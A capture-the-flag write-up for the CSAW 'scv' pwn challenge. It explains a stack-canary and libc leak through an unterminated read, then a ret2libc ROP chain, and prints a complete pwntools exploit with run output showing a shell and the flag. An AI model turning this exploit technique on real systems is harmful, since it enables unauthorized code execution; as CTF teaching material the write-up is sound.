[Pwn] CSAW - scv


SCV

SCV is too hungry to mine the minerals. Can you give him some food?

nc pwn.chal.csaw.io 3764

Introduction

The binary is pretty simple to read we have 3 options, option 1 is to feed the SCV which is just filling a buffer with string from stdin, option 2 prints the string using puts so no format string vulnerability possible here, option 3 is to exit the program.

Pretty simple but where is the vulnerability? We can see the number of bytes in the parameters of read function is bigger than what the buffer can handle so we have a buffer overflow vulnerability but the real problem is how are we going to bypass this protections?:

NX is enabled so the stack is not executable! we can bypass this easily using return-oriented-programming(ROP), but
another stack protection is enabled too which is the stack canary, we need to find away to leak addresses from the stack! but how do we do this?

As we can see above the read function is reading the buf from STDIN, and what can we know about read? This function doesn’t put a null byte at the end of the read string, this awesome ! and why? because latter with option 2 puts will print the string until it finds a null byte, we can use this to our advantage to leak addresses from libc from the stack and even the stack canary itself! We just need to use gdb and look up the memory!

The plan is pretty simple:

1
2
1 - Leak libc addresses and stack canary
2 - Overflow the buffer and return to libc

Leak libc addresses and stack canary

Lets do some debugging with gdb lets put a break point right before the read occurs and check the values of the buffer before being filled:

As we can see there is a libc address in stack 0x00007f2cea4aabe9 we can count it easily how much we need to fill the buffer to print that address! and we need 40 bytes.
Writing the code to do this is very simple can be built in a function like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def readAddressFromTheStack(size, bytes_to_read, offset=0):
"""
Args:
size (int): number of characters to send to the stack.
bytes_to_read (int): number of bytes to read from the stack we want to leak.
offset (int): number to subtract if we want to adjust the leaked address. (Optional)

Returns:
int: returns an address leaked from the stack.
"""

# Write a certain number of bytes to leak an address
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline('A'*size)

# Read it from the stack
print r.recvuntil('>>')
r.sendline('2')
r.recvuntil('[*]PLEASE TREAT HIM WELL.....')
r.recvline()
r.recvline()
r.recv(size)
return u64(r.recv(bytes_to_read).ljust(8, '\x00'))-offset

So what to do with this address? we can calculate its offset to system for example! we can get the system address to calculate the offset and subtract the both values:

Implementing this in python would be like this:

1
2
3
4
5
6
7
8
9
10
11
# Get a libc address from the stack
LEAKED = readAddressFromTheStack(40, 6, -0x8f)
SYSTEM = LEAKED + 0xb0f7
LIBCBASE = SYSTEM -libc.symbols['system']
BINSH_OFFSET = 0x18cd17 # strings -a -t x libc-2.23.so | grep '/bin/sh'
BINSH = LIBCBASE + BINSH_OFFSET

log.info("LEAKED LIBC 0x%x" % LEAKED)
log.info("SYSTEM LIBC 0x%x" % SYSTEM)
log.info("LIBCBASE LIBC 0x%x" % LIBCBASE)
log.info("BINSH ADDRESS 0x%x" % BINSH)

The 3rd argument of readAddressFromTheStack is adjusting the address because in the read we are reading 40 bytes plus the new line character ‘\n’ because to send to the server we need to press enter, I could actually instead of sending 40 bytes in the padding we could just send 39 and the number would be right but I got lazy during the CTF so instead of fixing that I just readjust the address, the leaked address will always be overwritten with 0x0a which is ‘\n’ Ascii code representation, so as I said before it needs some adjusting.

Stack canary

Now that we have everything we need for libc we just need to get the stack canary address! to check where its being stored we can look at the very beginning of the main function

From radare2 we can check it is being stored at local_8h which is a friendly name to be more readable in reality thinking it in assembly it’s stored in RBP-0x8 where RBP is the baseframe pointer.

So lets check again in gdb, put a break point right before the read function and print the RBP-0x8 to see the stack canary value:

Here is the code to get the stack canary from the stack:

1
2
3
# leak STACK CANARY
STACK_CANARY = readAddressFromTheStack(40+8*16, 8, 0x0A)
log.info("STACK CANARY 0x%x" % STACK_CANARY)

Overflow the buffer and return to libc

We already have everything we need we just need to jump to libc rewrite the stack canary where it should be and remember we can’t forget to choose option 3 to exit the program, otherwise we never execute the ret assembly instruction and jump to system("/bin/sh");:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


ROPCHAIN = ''
ROPCHAIN += p64(POPRET)
ROPCHAIN += p64(BINSH)
ROPCHAIN += p64(SYSTEM)

padding3 = 'A'*(40+8*16)+p64(STACK_CANARY)+ 'AAAAAAAA' + ROPCHAIN


#rewrite old addresses
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline(padding3)

# exiting
print r.recvuntil('>>')
r.sendline('3')
print r.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...')
r.interactive()
#time.sleep(10)
r.close()

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import time

def getConn():
return process('./scv', env = {"LD_PRELOAD":'./libc-2.23.so'}) if local else remote('pwn.chal.csaw.io', 3764)

def readAddressFromTheStack(size, bytes_to_read, offset=0):
"""
Args:
size (int): number of characters to send to the stack.
bytes_to_read (int): number of bytes to read from the stack we want to leak.
offset (int): number to subtract if we want to adjust the leaked address. (Optional)

Returns:
int: returns an address leaked from the stack.
"""

# Write a certain number of bytes to leak LIBC
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline('A'*size)

# Read from the stack
print r.recvuntil('>>')
r.sendline('2')
r.recvuntil('[*]PLEASE TREAT HIM WELL.....')
r.recvline()
r.recvline()
r.recv(size)
return u64(r.recv(bytes_to_read).ljust(8, '\x00'))-offset


local = False
binary = ELF('./scv')
libc = ELF('./libc-2.23.so')

r = getConn()
# b *0x00400aae
#gdb.attach(r, '''
#b *0x00400cce
#b *0x00400cd3
#b *0x00400ddf
#b *0x00400d94
#b *0x400d8f
#b *0x00400dce
#c''')


# Get a libc address from the stack
LEAKED = readAddressFromTheStack(40, 6, -0x8f)
SYSTEM = LEAKED + 0xb0f7
LIBCBASE = SYSTEM -libc.symbols['system']
BINSH_OFFSET = 0x18cd17 # strings -a -t x libc-2.23.so | grep '/bin/sh'
BINSH = LIBCBASE + BINSH_OFFSET
POPRET = 0x0000000000400ea3 # ROPgadget --binary ./scv --only "pop|ret"

log.info("LEAKED LIBC 0x%x" % LEAKED)
log.info("SYSTEM LIBC 0x%x" % SYSTEM)
log.info("LIBCBASE LIBC 0x%x" % LIBCBASE)
log.info("BINSH ADDRESS 0x%x" % BINSH)

r.recv(1) # new line

# leak STACK CANARY
STACK_CANARY = readAddressFromTheStack(40+8*16, 8, 0x0A)

log.info("STACK CANARY 0x%x" % STACK_CANARY)

ROPCHAIN = ''
ROPCHAIN += p64(POPRET)
ROPCHAIN += p64(BINSH)
ROPCHAIN += p64(SYSTEM)

padding3 = 'A'*(40+8*16)+p64(STACK_CANARY)+ 'AAAAAAAA' + ROPCHAIN


#rewrite old addresses
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline(padding3)

# exiting
print r.recvuntil('>>')
r.sendline('3')
print r.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...')
r.interactive()
r.close()

Running it and get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ python scv.py
[*] '~/ctf/csaw/pwn/scv/scv'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '~/ctf/csaw/pwn/scv/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 3764: Done
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>
[*] LEAKED LIBC 0x7fe343297299
[*] SYSTEM LIBC 0x7fe3432a2390
[*] LIBCBASE LIBC 0x7fe34325d000
[*] BINSH ADDRESS 0x7fe3433e9d17
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>
[*] STACK CANARY 0x49b1940e5e5ffe00
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>
[*]BYE ~ TIME TO MINE MIENRALS...
[*] Switching to interactive mode

$ ls
flag
scv
$ cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}